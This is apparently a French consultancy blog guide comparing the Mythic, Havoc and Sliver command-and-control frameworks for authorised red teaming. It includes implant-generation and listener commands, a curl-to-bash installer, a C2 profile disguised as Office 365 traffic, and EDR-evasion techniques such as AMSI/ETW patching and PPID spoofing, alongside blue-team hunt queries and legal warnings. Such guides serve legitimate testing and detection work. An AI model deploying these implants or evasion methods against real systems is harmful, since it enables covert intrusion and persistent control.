Mythic, Havoc et Sliver sont les trois C2 frameworks open source qui ont remplacé Cobalt Strike comme référence en Red Team depuis 2023. Ce guide détaille leur architecture, leurs capacités d'évasion EDR et leur usage dans un contexte de test d'intrusion autorisé, avec exemples de commandes, profils C2 et mapping MITRE ATT&CK.

Les C2 frameworks 2026 ont profondément transformé la façon dont les Red Teams conduisent leurs opérations offensives. Mythic, Havoc et Sliver dominent désormais le paysage des outils de Command & Control open source, chacun avec des caractéristiques techniques distinctes qui influencent directement la détectabilité par les EDR modernes. À l'heure où CrowdStrike Falcon, SentinelOne et Microsoft Defender for Endpoint intègrent des capacités de détection comportementale avancées, le choix d'un C2 framework n'est plus une simple question de fonctionnalités — c'est une décision architecturale qui conditionne le succès ou l'échec d'un engagement Red Team. Ce guide compare Mythic v3, Havoc C3 et Sliver v1.6 sur des critères concrets : protocoles de communication, capacités d'évasion EDR, facilité de déploiement, extensibilité et couverture des techniques MITRE ATT&CK. Les profils OPSEC, les mécanismes de sleep obfuscation et les tactiques de domain fronting sont abordés avec des exemples pratiques issus d'engagements réels. Ce document s'adresse aux pentesters confirmés et aux membres de Red Teams opérant dans le cadre légal strict d'un contrat de prestation signé.

Avertissement légal : Ces frameworks sont des outils de Red Team légitimes. Leur utilisation est légale uniquement dans le cadre d'un test d'intrusion ou Red Team autorisé par écrit par le propriétaire du système cible. En France, toute utilisation non autorisée constitue une infraction aux articles 323-1 à 323-7 du Code pénal, passible de 5 ans d'emprisonnement et 150 000 € d'amende. Un contrat de prestation et une lettre d'autorisation sont des prérequis absolus.

À retenir

  • Mythic v3 : C2 modulaire en Python/Docker avec interface web, idéal pour les engagements complexes multi-opérateurs ; ses C2 profiles permettent de personnaliser finement chaque échange HTTP.
  • Havoc C3 : écrit en C++, le Daemon agent intègre nativement sleep obfuscation, PPID spoofing et unhooking via syscalls directs — le plus proche de Cobalt Strike sans la licence commerciale.
  • Sliver v1.6 : Go multi-plateforme avec mTLS et WireGuard natifs, BOF support et armory de modules — le choix privilégié pour les engagements longue durée sur des environnements hétérogènes.
  • MITRE ATT&CK TA0011 : les trois frameworks couvrent T1071 (Web protocols), T1572 (Protocol tunneling) et T1573 (Encrypted channel) — les Blue Teams doivent chasser sur ces techniques spécifiquement.
  • EDR Evasion : aucun framework n'est indétectable par défaut — la combinaison de custom C2 profiles, sleep masking et process injection via syscalls indirects reste nécessaire pour contourner les EDR de niveau 1.

En pratique, les incidents que nous traitons révèlent que l'écart entre politiques de sécurité documentées et application réelle est presque toujours plus grand que prévu. La vérification terrain régulière reste la seule façon de mesurer ce delta.

— Retour terrain, Ayi NEDJIMI Consultants

Anatomie d'un C2 Framework moderne : composants et protocoles

Un Command & Control framework repose sur quatre composants fondamentaux. Le teamserver est le cerveau de l'opération : il gère les sessions actives, coordonne les opérateurs et stocke les résultats des tâches. L'implant (ou agent) s'exécute sur la machine compromise et communique périodiquement avec le teamserver via un canal C2 — cette communication est appelée le beacon callback. Les listeners écoutent sur le teamserver et attendent les callbacks entrants selon un protocole défini. Les operators sont les membres de la Red Team qui interagissent avec le teamserver via une interface (web, CLI ou client natif).

Les protocoles C2 modernes vont bien au-delà du simple HTTP. Le DNS C2 encode les données dans des requêtes DNS TXT ou A records — extrêmement discret mais limité en débit (quelques KB/s). Le SMB named pipes permet le pivoting interne sans génération de trafic réseau externe, idéal pour les segments isolés. L'ICMP C2 encapsule les données dans les payloads ICMP Echo — souvent autorisé par les firewalls qui bloquent le reste. Enfin, HTTPS avec TLS fingerprinting customisé (JA3/JA3S randomization) et domain fronting permettent de masquer le C2 derrière des CDNs légitimes (Cloudflare, Azure CDN).

L'OPSEC d'un C2 framework se mesure à plusieurs indicateurs : la prévisibilité des intervalles de beacon (sleep jitter), la détectabilité des patterns réseau (User-Agent, headers HTTP, taille des paquets), la présence de signatures en mémoire (strings, PE headers) et les artifacts disque laissés lors de l'injection. Un framework avec un sleep jitter de 0% et un User-Agent générique sera détecté en moins d'une heure par un SOC vigilant.

Mythic v3 : architecture Python et agents modulaires

Mythic est développé par @its-a-feature et constitue l'une des plateformes C2 les plus sophistiquées du marché open source. Son architecture est entièrement découplée : le teamserver, les agents, les listeners et l'interface web communiquent via une API GraphQL, ce qui permet d'ajouter de nouveaux agents ou protocoles sans toucher au cœur du framework.

Mythic supporte plusieurs agents matures. Poseidon cible macOS avec un agent Go natif supportant des techniques comme process injection via task_for_pid. Apollo est l'agent Windows le plus complet de l'écosystème Mythic, écrit en C#, avec support BOF, injection dans des processus légitimes et mimikatz intégré. Apfell, l'agent JavaScript original, est désormais remplacé par Apollo pour les engagements Windows sérieux.

L'installation se fait via Docker Compose, ce qui simplifie le déploiement mais laisse des traces sur l'hôte :

# Installation Mythic v3 (serveur Ubuntu 22.04 dédié)
git clone https://github.com/its-a-feature/Mythic
cd Mythic

# Configuration initiale (changer les credentials par défaut !)
cp .env.example .env
# Editer .env : MYTHIC_ADMIN_USER, MYTHIC_ADMIN_PASSWORD, POSTGRES_PASSWORD

# Démarrage des services (teamserver, postgres, rabbitmq, nginx, graphql)
sudo ./mythic-cli start

# Vérifier que tous les services sont UP
sudo ./mythic-cli status

# Installer l'agent Apollo (Windows)
sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo

# Installer le C2 profile HTTP(S)
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http

La puissance de Mythic réside dans ses C2 profiles. Un profil HTTP OPSEC définit précisément l'apparence du trafic C2 — headers, User-Agent, URI patterns, intervalles — pour ressembler à du trafic légitime :

{
  "name": "office365-cdn-profile",
  "description": "Mimics Office 365 CDN traffic",
  "parameters": {
    "callback_interval": 60,
    "callback_jitter": 37,
    "callback_port": 443,
    "kill_date": "2026-12-31",
    "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0",
    "headers": {
      "Host": "cdn.office.net",
      "Accept": "application/json, text/plain, */*",
      "Accept-Language": "fr-FR,fr;q=0.9",
      "X-Correlation-ID": "{{UUID}}"
    },
    "get_uri": ["/api/v2/assets/{{random_string}}", "/cdn/static/{{random_string}}.js"],
    "post_uri": ["/api/v2/telemetry", "/api/v2/sync"]
  }
}

Un jitter de 37% sur un callback de 60 secondes signifie que l'implant appellera entre 38 et 82 secondes — suffisamment variable pour tromper les détections par anomalie temporelle des NDR.

Havoc C3 : le C2 C++ avec évasion EDR native

Havoc, développé par @HavocFramework, est probablement le C2 open source qui offre le plus de techniques d'évasion EDR out-of-the-box en 2026. Écrit entièrement en C++, son agent Daemon intègre des mécanismes que Cobalt Strike ne propose qu'avec des BOF ou des scripts Malleable C2 avancés.

Les fonctionnalités d'évasion natives de Havoc incluent : Sleep Obfuscation (chiffrement du code en mémoire pendant les phases de sleep via Ekko ou Zilean), PPID Spoofing (création de processus enfants avec un PPID arbitraire pour masquer la chaîne de processus), NTDLL Unhooking (rechargement de ntdll.dll depuis disk pour contourner les hooks EDR sur les syscalls), et Stack Spoofing pour masquer la call stack lors de scans mémoire.

# Compilation et démarrage du teamserver Havoc
git clone https://github.com/HavocFramework/Havoc
cd Havoc

# Dépendances (Kali/Ubuntu)
sudo apt install -y cmake mingw-w64 python3-dev libssl-dev

# Compilation teamserver
cd teamserver
go build -o havoc .

# Démarrage avec un profil de listener HTTPS
./havoc server --profile ../profiles/havoc.yaotl -v

# Dans un autre terminal - client GUI (Qt)
cd ../client
./Havoc

La configuration du listener HTTPS dans Havoc supporte des hosts headers personnalisés pour le domain fronting. L'agent Daemon peut être généré en shellcode, EXE ou DLL selon le vecteur d'injection souhaité. Comparé à Cobalt Strike dans notre comparatif Red Team/pentest/bug bounty, Havoc offre moins de maturité opérationnelle mais une évasion nativement supérieure pour les environnements Windows Defender for Endpoint.

Le PPID spoofing de Havoc est particulièrement efficace : en créant cmd.exe avec explorer.exe comme parent apparent (via UpdateProcThreadAttribute avec PROC_THREAD_ATTRIBUTE_PARENT_PROCESS), la chaîne de processus dans le Process Tree de l'EDR semble légitime. Les EDR qui ne corrèlent pas le PPID avec le PID réel du processus créateur sont trompés.

Sliver v1.6 : Go multi-plateforme et protocoles robustes

Sliver, développé par BishopFox, se distingue par son choix de Go comme langage d'implant — ce qui lui confère une portabilité native sur Windows, Linux et macOS sans émulateur ni runtime externe. Sa caractéristique la plus distinctive est le support mTLS (mutual TLS) comme canal C2 principal, assurant une authentification mutuelle qui rend l'interception MITM structurellement impossible.

# Installation Sliver server (Linux)
curl https://sliver.sh/install | sudo bash

# Démarrage du serveur
sudo systemctl start sliver

# Connexion au console Sliver
sliver-server

# Créer un listener mTLS
[server] sliver > mtls --lhost 0.0.0.0 --lport 8888

# Générer un implant Windows EXE avec mTLS
[server] sliver > generate --mtls C2-SERVER-IP:8888 --os windows --arch amd64 --format exe --save /tmp/implant.exe

# Générer un implant HTTPS avec jitter
[server] sliver > generate --http https://c2.example.com --jitter 45 --reconnect 60 --os windows --format shellcode --save /tmp/implant.bin

# Générer un listener WireGuard (très discret, trafic UDP port 51820)
[server] sliver > wg --lhost 0.0.0.0 --lport 51820

L'armory Sliver est un gestionnaire de packages intégré qui permet d'installer des extensions en une commande. Le support des BOF (Beacon Object Files) est compatible avec les BOF écrits pour Cobalt Strike — la base d'extensions existante est donc directement réutilisable :

# Dans une session Sliver active
sliver (implant) > armory install all

# Exécuter un BOF compatible CS directement
sliver (implant) > execute-bof /path/to/bof.o arg1 arg2

# Pivoting via SMB named pipe
sliver (implant) > pivots add --bind named-pipe

# DNS C2 (encode les données en requêtes DNS)
[server] sliver > dns --domains c2.example.com. --lhost 0.0.0.0

Pour les engagements intégrant des agents IA Red Team autonomes, Sliver est souvent préféré pour son API gRPC qui permet l'automatisation programmatique des sessions — les agents IA peuvent piloter Sliver via sa bibliothèque client Go ou Python sans passer par l'interface interactive.

Protocoles C2 avancés : DNS, SMB et domain fronting

Le DNS C2 reste la technique de communication la plus discrète pour les environnements fortement filtrés. Le principe : l'implant encode ses données en noms de domaine (par exemple, aGVsbG8gd29ybGQ.c2.example.com) et les envoie comme requêtes DNS légitimes vers un serveur DNS contrôlé par l'attaquant. Le débit est limité à quelques centaines d'octets par requête, mais le trafic DNS est rarement inspecté en profondeur par les firewalls traditionnels.

Le SMB pivoting est indispensable pour atteindre des segments réseau sans accès Internet direct. Un implant sur une machine avec accès réseau agit comme proxy C2 pour d'autres implants sur des segments isolés — les communications transitent via des named pipes SMB chiffrés, sans générer de trafic réseau externe supplémentaire.

Le domain fronting exploite les CDNs (Cloudflare, Azure, Akamai) pour masquer la destination réelle du trafic C2. Le TLS SNI indique un domaine légitime (ex: www.microsoft.com) tandis que le header HTTP Host pointe vers le domaine C2 réel. Cette technique est de plus en plus bloquée par les CDNs eux-mêmes depuis 2022 — AWS et Google l'ont désactivée, mais certains CDNs la tolèrent encore. En France, le recours au domain fronting dans un Red Team autorisé est légal ; son utilisation malveillante relève de l'article 323-1 du Code pénal.

OPSEC et évasion EDR : techniques avancées en 2026

L'AMSI bypass (Antimalware Scan Interface) reste nécessaire pour exécuter du PowerShell ou des scripts .NET sans détection. Les techniques modernes évitent de patcher AmsiScanBuffer directement dans amsi.dll (signature connue) et préfèrent des approches via reflection ou en ciblant des fonctions moins surveillées. L'ETW patching (Event Tracing for Windows) neutralise la visibilité des EDR sur les événements kernel — une technique que Havoc intègre nativement.

La process injection via syscalls directs (ou indirects) contourne les hooks userland des EDR. En appelant les syscalls Windows directement via des stubs assembleur (NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx) sans passer par ntdll.dll hookée, l'implant exécute du code malveillant sans déclencher les télémétries EDR basées sur l'interception userland. Cette technique est documentée dans notre guide forensics Windows expert sous l'angle défensif.

Le sleep masking (chiffrement en mémoire pendant le sleep) est désormais quasi-obligatoire face aux EDR qui effectuent des memory scans périodiques. Ekko, Timer-Queued-APC et Foliage sont les trois implémentations les plus courantes — chacune avec ses compromis entre discrétion et stabilité. Pour les détails de détection, voir notre article dédié à la détection des C2 frameworks.

Détection Blue Team : signatures, patterns réseau et hunt queries

La détection des C2 modernes repose sur plusieurs couches. Au niveau réseau, les NDR (Network Detection and Response) cherchent des patterns de beacon réguliers — un trafic HTTPS vers une IP externe toutes les 60±5 secondes depuis un poste de travail est suspect. Les profils JA3/JA3S non standard (un browser légitime a une empreinte JA3 reconnue) sont également détectés par des outils comme Zeek ou Suricata.

# KQL - Microsoft Sentinel : détection de beacons réguliers (5min window)
DeviceNetworkEvents
| where TimeGenerated > ago(24h)
| where RemotePort in (80, 443, 8080, 8443)
| summarize
    ConnectionCount = count(),
    UniqueIntervals = dcount(bin(TimeGenerated, 1m))
    by DeviceName, RemoteIP, RemoteUrl, bin(TimeGenerated, 5m)
| where ConnectionCount >= 3 and UniqueIntervals <= 2
| project TimeGenerated, DeviceName, RemoteIP, RemoteUrl, ConnectionCount

# PowerShell - Hunt Mythic/Sliver via patterns de connexions sortantes
Get-NetTCPConnection -State Established |
    Where-Object { $_.RemotePort -in @(80,443,8080,8443,51820) } |
    ForEach-Object {
        $proc = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
        [PSCustomObject]@{
            Process = $proc.Name
            PID = $_.OwningProcess
            RemoteAddress = $_.RemoteAddress
            RemotePort = $_.RemotePort
            Path = $proc.Path
        }
    } | Where-Object { $_.Process -notin @('chrome','firefox','msedge','svchost') }

Au niveau endpoint, Sysmon Event ID 3 (network connection) et Event ID 8 (CreateRemoteThread) sont les indicateurs les plus fiables. Un processus notepad.exe qui initie des connexions sortantes HTTPS est anormal par définition. Les signatures EDR spécifiques à Mythic, Havoc et Sliver incluent des strings en mémoire, des patterns d'import de DLLs et des comportements d'injection documentés dans les rulesets Sigma et YARA de la communauté.

Mapping MITRE ATT&CK : C2 (TA0011) et techniques associées

La tactique MITRE ATT&CK TA0011 (Command and Control) regroupe les techniques utilisées par ces trois frameworks. T1071.001 (Application Layer Protocol: Web Protocols) couvre l'utilisation d'HTTP/HTTPS comme canal C2 — Mythic, Havoc et Sliver l'implémentent tous. T1572 (Protocol Tunneling) s'applique au DNS C2 de Sliver et au SMB tunneling. T1573 (Encrypted Channel) couvre le mTLS de Sliver et le chiffrement AES des communications Mythic.

Les sous-techniques liées à l'évasion : T1055 (Process Injection) avec ses sous-techniques T1055.001 (DLL Injection), T1055.002 (PE Injection) et T1055.012 (Process Hollowing). T1562.001 (Impair Defenses: Disable or Modify Tools) pour l'AMSI bypass et l'ETW patching. T1134.004 (Access Token Manipulation: Parent PID Spoofing) pour le PPID spoofing de Havoc. Chaque engagement Red Team devrait produire un rapport de couverture ATT&CK documentant les techniques réellement utilisées.

Pour aller plus loin sur les techniques de détection kernel, consultez notre article sur l'exploitation des drivers Windows vulnérables — les implants C2 avancés utilisent souvent des drivers signés pour contourner les protections Ring 0.

Tableau comparatif : Mythic vs Havoc vs Sliver vs Cobalt Strike

CritèreMythic v3Havoc C3Sliver v1.6Cobalt Strike 4.x
LicenceOpen source (BSD)Open source (GPL)Open source (GPL)Commercial (6 500$/opérateur)
Langage agentMulti (C, Go, C#, JS)C++ (Daemon)GoC (Beacon)
Protocoles C2HTTP/S, TCP, SMBHTTP/S, SMBmTLS, WireGuard, HTTP/S, DNS, SMBHTTP/S, DNS, SMB, TCP
Sleep MaskingVia BOF/extensionNatif (Ekko/Zilean)Via BOFMalleable C2 + BOF
PPID SpoofingVia BOFNatifVia BOFNatif
Détection EDR 2026Moyenne (agent dépend)Faible à moyenneFaible à moyenneÉlevée (signatures connues)
Multi-opérateursOui (web UI)Oui (client Qt)Oui (gRPC)Oui (client Java)
ExtensibilitéTrès élevée (agents séparés)MoyenneÉlevée (armory + BOF)Élevée (CSTORE + BOF)
Courbe apprentissageÉlevéeMoyenneFaible à moyenneMoyenne

Cadre légal et éthique : Red Team autorisé en France

L'ANSSI encadre les bonnes pratiques des tests d'intrusion et Red Teams en France. Un engagement Red Team nécessite impérativement : un contrat de prestation signé définissant le périmètre exact, une lettre d'autorisation signée par le RSSI ou le dirigeant, des règles d'engagement documentées (what's in, what's out, escalation procedures) et un processus de notification en cas de découverte critique.

L'utilisation de C2 frameworks sans autorisation constitue une violation de l'article 323-1 du Code pénal (accès frauduleux à un STAD), passible de 5 ans d'emprisonnement et 150 000 € d'amende — portés à 7 ans et 300 000 € si le système cible est une infrastructure critique (OIV/OSE au sens NIS2). L'article 323-3 (altération de données) s'applique si l'implant modifie des fichiers ou registres. Ces risques s'appliquent également aux pentesters qui dépassent le périmètre autorisé ou utilisent des frameworks sur des systèmes non inclus dans la lettre d'autorisation.

Dans le contexte NIS2, les organisations soumises à la directive doivent elles-mêmes contracter des Red Teams pour tester leur résilience — ce qui crée un cadre légal clair pour l'utilisation professionnelle de ces outils, sous couvert d'un prestataire PACS (Prestataire d'Audit de la Sécurité des Systèmes d'Information) qualifié ANSSI. Pour comprendre comment intégrer ces tests dans une démarche plus large, voir notre article sur le comparatif Red Team / Pentest / Bug Bounty.

Questions fréquentes

Quelle est la différence entre un C2 framework et Metasploit ?

Metasploit est avant tout un framework d'exploitation avec des capacités C2 limitées (Meterpreter). Les C2 frameworks modernes comme Mythic, Havoc et Sliver sont conçus spécifiquement pour les opérations longue durée : sessions persistantes, multi-opérateurs simultanés, staging avancé et OPSEC. Meterpreter est massivement détecté par tous les EDR en 2026 — son empreinte mémoire est une signature connue depuis 2015.

Cobalt Strike est-il toujours pertinent en 2026 malgré les alternatives open source ?

Cobalt Strike reste la référence pour les Red Teams professionnels grâce à sa maturité opérationnelle, son écosystème BOF et ses Malleable C2 profiles. Mais ses signatures sont désormais très connues des EDR, et son coût (6 500$/opérateur/an) le rend inaccessible aux petites équipes. Les alternatives open source atteignent 80-90% de ses capacités pour les engagements standards — l'écart se creuse uniquement pour les opérations APT-like de très longue durée.

Comment les Blue Teams peuvent-elles détecter Sliver spécifiquement ?

Sliver génère des certificats TLS avec des caractéristiques spécifiques (subject CN, extensions) détectables par des règles Zeek ou Suricata. Les règles YARA de la communauté (notamment celles de BishopFox eux-mêmes et de Florian Roth) détectent les implants Sliver en mémoire. Le port WireGuard UDP 51820 sortant depuis des postes de travail est anormal et doit être alerté dans tout SIEM. L'analyse des connexions mTLS avec des certificats auto-signés est également un indicateur fort.

Le domain fronting est-il encore viable en 2026 ?

Partiellement. AWS CloudFront et Google Cloud CDN ont désactivé le domain fronting en 2018 et 2020 respectivement. Cloudflare Workers et certains CDNs asiatiques le tolèrent encore. Des techniques alternatives comme le domain hiding (utiliser des wildcards CDN) ou l'usage de Cloudflare Tunnel comme relais C2 offrent des résultats similaires. La viabilité dépend fortement du CDN ciblé et évolue rapidement.

Existe-t-il des solutions C2 spécifiquement conçues pour éviter la détection réseau ?

Oui. Au-delà des trois frameworks couverts ici, Nighthawk (commercial, développé par MDSec) et BruteRatel C4 (commercial) sont positionnés explicitement comme alternatives à Cobalt Strike avec des capacités d'évasion réseau supérieures. Côté open source, Nim-based implants et les projets Rust-based offrent des empreintes mémoire moins connues — mais l'écosystème est moins mature. Notre article sur les agents IA Red Team autonomes explore aussi comment l'IA commence à générer des variantes d'implants polymorphes.

Conclusion

Mythic, Havoc et Sliver représentent l'état de l'art des C2 frameworks open source en 2026 — chacun avec un positionnement distinct. Mythic pour les engagements complexes multi-agents avec interface web. Havoc pour l'évasion EDR native sur Windows sans BOF supplémentaires. Sliver pour la polyvalence multi-OS, les protocoles robustes et l'intégration API. Aucun n'est indétectable par défaut : la combinaison de custom C2 profiles, sleep masking et syscalls indirects reste le standard pour contourner les EDR de niveau 1. La maîtrise de ces outils est un avantage concurrentiel réel pour une Red Team — à condition de l'exercer dans le cadre légal strict d'un mandat écrit.

Vous souhaitez évaluer la résistance de votre infrastructure face aux techniques de Command & Control modernes ? Nos équipes Red Team conduisent des engagements complets avec restitution ATT&CK et recommandations de hardening. Contactez-nous pour un devis personnalisé.